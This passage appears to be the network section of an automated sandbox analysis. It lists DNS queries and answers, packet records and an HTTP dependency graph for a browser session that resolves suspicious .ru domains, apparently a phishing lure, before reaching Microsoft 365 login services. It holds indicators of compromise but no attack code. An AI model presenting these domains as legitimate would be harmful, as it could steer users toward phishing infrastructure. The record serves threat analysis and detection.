Mar 6, 2025 22:55:41.128123045 CET	52778	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:55:41.135869026 CET	53	52778	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:41.136348963 CET	53	64774	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:45.415636063 CET	53	60121	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:47.076970100 CET	53	54133	1.1.1.1	192.168.2.5
Mar 6, 2025 22:55:53.235996962 CET	53	51319	1.1.1.1	192.168.2.5
Mar 6, 2025 22:56:07.201472044 CET	50254	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:56:07.201631069 CET	53197	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:56:07.208698034 CET	53	53197	1.1.1.1	192.168.2.5
Mar 6, 2025 22:56:07.210813999 CET	53	50254	1.1.1.1	192.168.2.5
Mar 6, 2025 22:56:16.863372087 CET	53	65491	1.1.1.1	192.168.2.5
Mar 6, 2025 22:57:01.587871075 CET	53	49173	1.1.1.1	192.168.2.5
Mar 6, 2025 22:57:50.282306910 CET	51277	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:57:50.282511950 CET	52835	53	192.168.2.5	1.1.1.1
Mar 6, 2025 22:57:50.289767981 CET	53	52835	1.1.1.1	192.168.2.5
Mar 6, 2025 22:57:50.289901018 CET	53	51277	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 6, 2025 22:55:12.906405926 CET	192.168.2.5	1.1.1.1	c27a	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 6, 2025 22:54:45.721417904 CET	192.168.2.5	1.1.1.1	0x2274	Standard query (0)	t8ja.vyhbxyts.ru	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:45.721493006 CET	192.168.2.5	1.1.1.1	0xdb94	Standard query (0)	t8ja.vyhbxyts.ru	65	IN (0x0001)	false
Mar 6, 2025 22:54:50.110394001 CET	192.168.2.5	1.1.1.1	0xd785	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.110577106 CET	192.168.2.5	1.1.1.1	0xbd4c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 6, 2025 22:54:50.193864107 CET	192.168.2.5	1.1.1.1	0x1adf	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.194020033 CET	192.168.2.5	1.1.1.1	0x5c48	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 6, 2025 22:54:50.196043015 CET	192.168.2.5	1.1.1.1	0x3054	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.196208954 CET	192.168.2.5	1.1.1.1	0x6349	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 22:54:50.197760105 CET	192.168.2.5	1.1.1.1	0x9dd	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.198070049 CET	192.168.2.5	1.1.1.1	0x740e	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 22:54:52.452795982 CET	192.168.2.5	1.1.1.1	0x8886	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:52.453219891 CET	192.168.2.5	1.1.1.1	0xad38	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 6, 2025 22:54:52.541222095 CET	192.168.2.5	1.1.1.1	0x5d29	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:52.541538954 CET	192.168.2.5	1.1.1.1	0x5632	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 22:54:54.410818100 CET	192.168.2.5	1.1.1.1	0xc5f2	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:54.410818100 CET	192.168.2.5	1.1.1.1	0xac39	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 22:54:54.453809977 CET	192.168.2.5	1.1.1.1	0xf42	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:54.453809977 CET	192.168.2.5	1.1.1.1	0x88cb	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 22:54:56.605340958 CET	192.168.2.5	1.1.1.1	0x4ed8	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:56.605392933 CET	192.168.2.5	1.1.1.1	0x499b	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 22:55:07.988082886 CET	192.168.2.5	1.1.1.1	0xe5c9	Standard query (0)	tfs7p.tjezyf.ru	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:07.988246918 CET	192.168.2.5	1.1.1.1	0xa32c	Standard query (0)	tfs7p.tjezyf.ru	65	IN (0x0001)	false
Mar 6, 2025 22:55:12.801538944 CET	192.168.2.5	1.1.1.1	0xee7b	Standard query (0)	tfs7p.tjezyf.ru	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:12.801757097 CET	192.168.2.5	1.1.1.1	0xb1da	Standard query (0)	tfs7p.tjezyf.ru	65	IN (0x0001)	false
Mar 6, 2025 22:55:28.235551119 CET	192.168.2.5	1.1.1.1	0x3c7b	Standard query (0)	portal.office.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:28.236088991 CET	192.168.2.5	1.1.1.1	0xe11d	Standard query (0)	portal.office.com	65	IN (0x0001)	false
Mar 6, 2025 22:55:30.543030977 CET	192.168.2.5	1.1.1.1	0xc7be	Standard query (0)	www.microsoft365.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:30.543188095 CET	192.168.2.5	1.1.1.1	0xd4fd	Standard query (0)	www.microsoft365.com	65	IN (0x0001)	false
Mar 6, 2025 22:55:32.872467041 CET	192.168.2.5	1.1.1.1	0xcfbf	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:32.872606039 CET	192.168.2.5	1.1.1.1	0xd387	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Mar 6, 2025 22:55:38.347135067 CET	192.168.2.5	1.1.1.1	0xe9a0	Standard query (0)	www.microsoft365.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:38.347981930 CET	192.168.2.5	1.1.1.1	0xa4ea	Standard query (0)	www.microsoft365.com	65	IN (0x0001)	false
Mar 6, 2025 22:55:40.967294931 CET	192.168.2.5	1.1.1.1	0xad15	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:40.967451096 CET	192.168.2.5	1.1.1.1	0x9a3	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Mar 6, 2025 22:55:41.127898932 CET	192.168.2.5	1.1.1.1	0x2222	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:41.128123045 CET	192.168.2.5	1.1.1.1	0xbe79	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Mar 6, 2025 22:56:07.201472044 CET	192.168.2.5	1.1.1.1	0x889d	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:56:07.201631069 CET	192.168.2.5	1.1.1.1	0xead7	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Mar 6, 2025 22:57:50.282306910 CET	192.168.2.5	1.1.1.1	0x91c4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:57:50.282511950 CET	192.168.2.5	1.1.1.1	0x1cfa	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 6, 2025 22:54:45.734946012 CET	1.1.1.1	192.168.2.5	0x2274	No error (0)	t8ja.vyhbxyts.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:45.734946012 CET	1.1.1.1	192.168.2.5	0x2274	No error (0)	t8ja.vyhbxyts.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:45.734982014 CET	1.1.1.1	192.168.2.5	0xdb94	No error (0)	t8ja.vyhbxyts.ru			65	IN (0x0001)	false
Mar 6, 2025 22:54:50.117630959 CET	1.1.1.1	192.168.2.5	0xd785	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.117811918 CET	1.1.1.1	192.168.2.5	0xbd4c	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 6, 2025 22:54:50.201318026 CET	1.1.1.1	192.168.2.5	0x1adf	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.201318026 CET	1.1.1.1	192.168.2.5	0x1adf	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.201318026 CET	1.1.1.1	192.168.2.5	0x1adf	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.201318026 CET	1.1.1.1	192.168.2.5	0x1adf	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.203283072 CET	1.1.1.1	192.168.2.5	0x3054	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.203283072 CET	1.1.1.1	192.168.2.5	0x3054	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.203314066 CET	1.1.1.1	192.168.2.5	0x6349	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Mar 6, 2025 22:54:50.205003023 CET	1.1.1.1	192.168.2.5	0x9dd	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.205003023 CET	1.1.1.1	192.168.2.5	0x9dd	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:50.205061913 CET	1.1.1.1	192.168.2.5	0x740e	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 6, 2025 22:54:52.460155010 CET	1.1.1.1	192.168.2.5	0x8886	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:52.460155010 CET	1.1.1.1	192.168.2.5	0x8886	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:52.460155010 CET	1.1.1.1	192.168.2.5	0x8886	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:52.460155010 CET	1.1.1.1	192.168.2.5	0x8886	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:52.548247099 CET	1.1.1.1	192.168.2.5	0x5d29	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:52.548247099 CET	1.1.1.1	192.168.2.5	0x5d29	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:52.549067020 CET	1.1.1.1	192.168.2.5	0x5632	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 6, 2025 22:54:54.418174982 CET	1.1.1.1	192.168.2.5	0xac39	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Mar 6, 2025 22:54:54.418394089 CET	1.1.1.1	192.168.2.5	0xc5f2	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:54.418394089 CET	1.1.1.1	192.168.2.5	0xc5f2	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:54.461400032 CET	1.1.1.1	192.168.2.5	0xf42	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:54.461400032 CET	1.1.1.1	192.168.2.5	0xf42	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:54.461400032 CET	1.1.1.1	192.168.2.5	0xf42	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:54.461400032 CET	1.1.1.1	192.168.2.5	0xf42	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:54.461400032 CET	1.1.1.1	192.168.2.5	0xf42	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:54.462610960 CET	1.1.1.1	192.168.2.5	0x88cb	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 6, 2025 22:54:56.613683939 CET	1.1.1.1	192.168.2.5	0x499b	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 6, 2025 22:54:56.616940022 CET	1.1.1.1	192.168.2.5	0x4ed8	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:56.616940022 CET	1.1.1.1	192.168.2.5	0x4ed8	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:56.616940022 CET	1.1.1.1	192.168.2.5	0x4ed8	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:56.616940022 CET	1.1.1.1	192.168.2.5	0x4ed8	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:54:56.616940022 CET	1.1.1.1	192.168.2.5	0x4ed8	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:08.039781094 CET	1.1.1.1	192.168.2.5	0xa32c	No error (0)	tfs7p.tjezyf.ru			65	IN (0x0001)	false
Mar 6, 2025 22:55:08.100923061 CET	1.1.1.1	192.168.2.5	0xe5c9	No error (0)	tfs7p.tjezyf.ru		172.67.153.160	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:08.100923061 CET	1.1.1.1	192.168.2.5	0xe5c9	No error (0)	tfs7p.tjezyf.ru		104.21.3.223	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:12.852237940 CET	1.1.1.1	192.168.2.5	0xee7b	No error (0)	tfs7p.tjezyf.ru		172.67.153.160	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:12.852237940 CET	1.1.1.1	192.168.2.5	0xee7b	No error (0)	tfs7p.tjezyf.ru		104.21.3.223	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:12.906192064 CET	1.1.1.1	192.168.2.5	0xb1da	No error (0)	tfs7p.tjezyf.ru			65	IN (0x0001)	false
Mar 6, 2025 22:55:28.243699074 CET	1.1.1.1	192.168.2.5	0x3c7b	No error (0)	portal.office.com	admin-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:28.243699074 CET	1.1.1.1	192.168.2.5	0x3c7b	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:28.243699074 CET	1.1.1.1	192.168.2.5	0x3c7b	No error (0)	portal-office365-com.b-0004.b-msedge.net	b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:28.243699074 CET	1.1.1.1	192.168.2.5	0x3c7b	No error (0)	b-0004.b-msedge.net		13.107.6.156	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:28.251234055 CET	1.1.1.1	192.168.2.5	0xe11d	No error (0)	portal.office.com	admin-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:28.251234055 CET	1.1.1.1	192.168.2.5	0xe11d	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:30.551753044 CET	1.1.1.1	192.168.2.5	0xc7be	No error (0)	www.microsoft365.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:30.551753044 CET	1.1.1.1	192.168.2.5	0xc7be	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:30.551753044 CET	1.1.1.1	192.168.2.5	0xc7be	No error (0)	home-office365-com.b-0004.b-msedge.net	b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:30.551753044 CET	1.1.1.1	192.168.2.5	0xc7be	No error (0)	b-0004.b-msedge.net		13.107.6.156	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:30.552123070 CET	1.1.1.1	192.168.2.5	0xd4fd	No error (0)	www.microsoft365.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:30.552123070 CET	1.1.1.1	192.168.2.5	0xd4fd	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:32.879559994 CET	1.1.1.1	192.168.2.5	0xcfbf	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:32.879559994 CET	1.1.1.1	192.168.2.5	0xcfbf	No error (0)	login.mso.msidentity.com	ak.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:32.879559994 CET	1.1.1.1	192.168.2.5	0xcfbf	No error (0)	ak.privatelink.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:32.879559994 CET	1.1.1.1	192.168.2.5	0xcfbf	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.160.132	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:32.879559994 CET	1.1.1.1	192.168.2.5	0xcfbf	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		40.126.32.76	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:32.879559994 CET	1.1.1.1	192.168.2.5	0xcfbf	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.160.128	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:32.879559994 CET	1.1.1.1	192.168.2.5	0xcfbf	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		40.126.32.140	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:32.879559994 CET	1.1.1.1	192.168.2.5	0xcfbf	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.160.20	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:32.879559994 CET	1.1.1.1	192.168.2.5	0xcfbf	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		40.126.32.134	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:32.879559994 CET	1.1.1.1	192.168.2.5	0xcfbf	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.160.66	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:32.879559994 CET	1.1.1.1	192.168.2.5	0xcfbf	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		40.126.32.133	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:32.880440950 CET	1.1.1.1	192.168.2.5	0xd387	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:32.880440950 CET	1.1.1.1	192.168.2.5	0xd387	No error (0)	login.mso.msidentity.com	ak.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:32.880440950 CET	1.1.1.1	192.168.2.5	0xd387	No error (0)	ak.privatelink.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:35.660250902 CET	1.1.1.1	192.168.2.5	0xb0ce	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:35.660250902 CET	1.1.1.1	192.168.2.5	0xb0ce	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:38.311134100 CET	1.1.1.1	192.168.2.5	0x3916	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:38.311134100 CET	1.1.1.1	192.168.2.5	0x3916	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:38.356431007 CET	1.1.1.1	192.168.2.5	0xe9a0	No error (0)	www.microsoft365.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:38.356431007 CET	1.1.1.1	192.168.2.5	0xe9a0	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:38.356431007 CET	1.1.1.1	192.168.2.5	0xe9a0	No error (0)	home-office365-com.b-0004.b-msedge.net	b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:38.356431007 CET	1.1.1.1	192.168.2.5	0xe9a0	No error (0)	b-0004.b-msedge.net		13.107.6.156	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:38.357598066 CET	1.1.1.1	192.168.2.5	0xa4ea	No error (0)	www.microsoft365.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:38.357598066 CET	1.1.1.1	192.168.2.5	0xa4ea	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:40.975543022 CET	1.1.1.1	192.168.2.5	0x9a3	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:40.975543022 CET	1.1.1.1	192.168.2.5	0x9a3	No error (0)	nel.measure.office.net.edgesuite.net	a1894.dscb.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:40.975790977 CET	1.1.1.1	192.168.2.5	0xad15	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:40.975790977 CET	1.1.1.1	192.168.2.5	0xad15	No error (0)	nel.measure.office.net.edgesuite.net	a1894.dscb.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:40.975790977 CET	1.1.1.1	192.168.2.5	0xad15	No error (0)	a1894.dscb.akamai.net		95.101.54.226	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:40.975790977 CET	1.1.1.1	192.168.2.5	0xad15	No error (0)	a1894.dscb.akamai.net		95.101.54.225	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:41.135869026 CET	1.1.1.1	192.168.2.5	0xbe79	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:41.135869026 CET	1.1.1.1	192.168.2.5	0xbe79	No error (0)	www.tm.aadcdn.msftauth.trafficmanager.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:41.135869026 CET	1.1.1.1	192.168.2.5	0xbe79	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:41.136348963 CET	1.1.1.1	192.168.2.5	0x2222	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:41.136348963 CET	1.1.1.1	192.168.2.5	0x2222	No error (0)	www.tm.aadcdn.msftauth.akadns.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:41.136348963 CET	1.1.1.1	192.168.2.5	0x2222	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:55:41.136348963 CET	1.1.1.1	192.168.2.5	0x2222	No error (0)	e329293.dscd.akamaiedge.net		95.101.182.112	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:55:41.136348963 CET	1.1.1.1	192.168.2.5	0x2222	No error (0)	e329293.dscd.akamaiedge.net		95.101.182.65	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:56:07.208698034 CET	1.1.1.1	192.168.2.5	0xead7	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:56:07.208698034 CET	1.1.1.1	192.168.2.5	0xead7	No error (0)	login.mso.msidentity.com	ak.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:56:07.208698034 CET	1.1.1.1	192.168.2.5	0xead7	No error (0)	ak.privatelink.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:56:07.210813999 CET	1.1.1.1	192.168.2.5	0x889d	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:56:07.210813999 CET	1.1.1.1	192.168.2.5	0x889d	No error (0)	login.mso.msidentity.com	ak.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:56:07.210813999 CET	1.1.1.1	192.168.2.5	0x889d	No error (0)	ak.privatelink.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 6, 2025 22:56:07.210813999 CET	1.1.1.1	192.168.2.5	0x889d	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		40.126.32.133	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:56:07.210813999 CET	1.1.1.1	192.168.2.5	0x889d	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.160.14	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:56:07.210813999 CET	1.1.1.1	192.168.2.5	0x889d	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		40.126.32.68	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:56:07.210813999 CET	1.1.1.1	192.168.2.5	0x889d	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.160.20	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:56:07.210813999 CET	1.1.1.1	192.168.2.5	0x889d	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.160.4	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:56:07.210813999 CET	1.1.1.1	192.168.2.5	0x889d	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		40.126.32.76	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:56:07.210813999 CET	1.1.1.1	192.168.2.5	0x889d	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		40.126.32.140	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:56:07.210813999 CET	1.1.1.1	192.168.2.5	0x889d	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.160.67	A (IP address)	IN (0x0001)	false
Mar 6, 2025 22:57:50.289767981 CET	1.1.1.1	192.168.2.5	0x1cfa	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 6, 2025 22:57:50.289901018 CET	1.1.1.1	192.168.2.5	0x91c4	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t8ja.vyhbxyts.ru

https:

challenges.cloudflare.com

code.jquery.com

cdnjs.cloudflare.com

developers.cloudflare.com

tfs7p.tjezyf.ru

portal.office.com

www.microsoft365.com

identity.nel.measure.office.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	188.114.97.3	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
